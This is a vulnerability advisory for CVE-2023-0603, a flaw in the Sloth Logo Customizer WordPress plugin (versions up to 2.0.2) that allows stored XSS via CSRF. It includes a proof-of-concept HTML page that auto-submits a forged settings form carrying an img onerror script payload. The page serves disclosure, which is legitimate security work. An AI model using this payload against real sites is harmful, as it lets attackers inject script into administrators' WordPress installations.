Sloth Logo Customizer <= 2.0.2 – Stored XSS via CSRF | CVE 2023-0603 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in Admin open a page containing the HTML code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/themes.php?page=slothLogo" method="POST">
        <input type="text" name="imageAttachmentId" value='1"><img src onerror=alert(/XSS/)>'>
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

sloth-logo-customizer

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Nithissh Sathish

Submitter

Nithissh Sathish

Submitter website

https://nithissh.com

Verified

Yes

WPVDB ID

1c93ea8f-4e68-4da1-994e-35a5873278ba

Timeline

Publicly Published

2023-04-17 (about 2 years ago)

Added

2023-04-17 (about 2 years ago)

Last Updated

2023-04-17 (about 2 years ago)

Other

Published

Title

Published

2015-05-12

Title

Adsense Click Fraud Monitoring <= 1.7.5 - XSS

Published

2015-05-12

Title

Artificial Intelligence Theme <= 1.2.3 - DOM Cross-Site Scripting (XSS)

Published

2025-01-16

Title

Contact Form 7 – CCAvenue Add-on <= 1.0 - Reflected Cross-Site Scripting

Published

2024-02-01

Title

Essential Addons for Elementor < 5.9.8 - Contributor+ Stored XSS

Published

2014-08-01

Title

Dynamic Widgets <= 1.5.1 - Cross-Site Scripting (XSS)